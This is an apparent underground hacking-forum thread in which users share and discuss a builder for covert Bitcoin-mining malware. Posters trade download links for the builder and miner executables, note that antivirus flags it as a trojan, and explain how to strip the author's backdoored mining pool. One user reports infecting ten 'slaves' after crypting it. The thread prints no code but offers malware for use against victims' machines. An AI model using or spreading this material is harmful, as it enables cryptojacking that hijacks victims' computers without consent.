Thread: [CodeDom Bitcoin Miner Builder](#)

MR FRODO - November 3, 2012, 2:05 pm

Releasing this code as I figured it would be useful to some of the community :) I have permission from kript0x to post this.

Download: <http://www.sendspace.com/file/34oby3>

Enjoy, please say thanks rather than just leaching!

tweety - November 3, 2012, 2:08 pm

It's not a source, it's only the bin. Can you post the actual source?

EDIT: I think it got corrupt when you zipped it in the RAR. Can you redo it please? Really interested in this source.

MR FRODO - November 3, 2012, 2:09 pm

Oh shit, sorry, re-uploading now :)

Re-uploaded, sorry about that.

<http://www.sendspace.com/file/34oby3>

Thanks for sharing this but it clearly says made by Kyrpt0x. Also this is not a miner, it downloads a miner and then uses args to run it with your credentials. Give credits please.

MR FRODO - November 3, 2012, 2:17 pm

(Nov 3, 2012 02:15 PM)SkidzoR Wrote: [\[CITE\]](#) Could you please attach a virus scan?

It's a source, a virus scan really isn't required.

tweety - November 3, 2012, 2:18 pm

(Nov 3, 2012 02:17 PM)MR FRODO Wrote: [\[CITE\]](#) It's a source, a virus scan really isn't required. This just.. Have you checked the source yourself? It downloads the actual miner but the url does

not exist anymore.

MR FRODO - November 3, 2012, 2:20 pm

(Nov 3, 2012 02:18 PM)Tweety. Wrote: [\[CITE\]](#) This just.. Have you checked the source yourself? It downloads the actual miner but the url does not exist anymore.

Yeah, hence why this is a source, you can change it as you like (including a working URL).

(Nov 3, 2012 02:19 PM)SkidzoR Wrote: [\[CITE\]](#) I dont trust this, my AV detected this as a trojan.

Win32/CoinMiner.S trojan

No way. "Win32/CoinMiner.S" and this is a... It's a BitCoin Miner, which is malware.

tweety - November 3, 2012, 2:21 pm

The args will probably work for with that specific miner that is being downloaded. Unless you can provide the same miner link then this is a worthless source.

MR FRODO - November 3, 2012, 2:22 pm

It's UfaSoft miner, Google it, it's widely available. Sorry, fair point made.

Thanks for setting the newbie straight.

Picaso1 - November 4, 2012, 6:04 am

thanks for share it really useful but any one have the file of miner "bitcoin-miner.exe" i cant find

thanks in advance

Yui Asuna - November 10, 2012, 6:40 am

Thanks for sharing directly, without the "post & PM" shit !

SIM-888979 - November 10, 2012, 6:54 am

<http://filehostonline.com/files/25/bitcoin-miner.exe>

The link no longer exists. Do you have any idea where is it?

nukkawahilols - November 10, 2012, 6:59 am

where i can find this file? bitcoin-miner.exe its in source but not available anymore? can some1 please reupload it somewhere if have :)

thanks in advance

SIM-888979 - November 10, 2012, 7:41 am

ok ofc its going to get false positives..

its malware that you are downloading..

\$uicidal - April 6, 2013, 2:16 pm

Heads up, it is backdoored.

<https://gyazo.com/74f32a6449554a5dde1ca0cdd8f84212>

Once ran on either your PC or a victims it will also mine Bitcoins to his pool.

Hmm, so if you changed the source code, you could change those settings to your original settings you will be able to mine without his mining as well?

\$uicidal - April 7, 2013, 3:39 am

You can change this, just open the project then go to Resources and open Code.txt.

Scroll down til you find this piece of code and then remove it.

xFUDx - April 9, 2013, 8:19 am

Can anybody say what version of the miner in the download file is?

hobble198730 - April 9, 2013, 8:24 am

if i rember right u have to change the link for that too and if my memory is good at the bottom it says that 1 thread will be used for the creator so u would have to remove this aswell to have full mining power for yourself

xFUDx - April 9, 2013, 8:31 am

i know what u mean but i cant find the .exe file bitcoin-miner.exe i dont know what i need to take because any miners need a .dll to mine.

??????? - April 9, 2013, 10:58 am

People, just don't open the fucking executable files if you're honestly concerned... SHIT! Not hard...

Qmz_ - April 16, 2013, 3:20 am

Just testing this :) replaced the backdoor with mine address & rebuilt & crypted it and sent it to 10 slaves. Let's see if this works.

- Jqmz

Before that guy i've done the same app. Here is the 32bit version :

<https://dl.dropboxusercontent.com/u/51720316/Miner32.exe>

and the 64 one :

<https://dl.dropboxusercontent.com/u/51720316/Miner64.exe>

Your brain is clearly backdoored. Just compile the source with your parameters and stop chatting when you don't know. ?

Yui Asuna - April 16, 2013, 12:35 pm

The source is indeed backdoored. You obviously don't know what you're talking about.

ghost_technology - May 22, 2013, 4:12 am

Why are you claiming possession over something that is not yours!

gringo - May 22, 2013, 2:33 pm

(Apr 16, 2013 12:35 PM)Yui Asuna Wrote: [\[CITE\]](#) The source is indeed backdoored. You obviously don't know what you're talking about.

It really isn't difficult to clean the source code, anyone with half a brain can obviously see where the backdoor is. Remove the following bit, and you're ready to go.

Ufasoft miner is in \bin\Release upload it somewhere and add the direct link here:

MickyCOB - November 22, 2014, 7:51 am

Would any1 have the source to this still?

Thanks!!
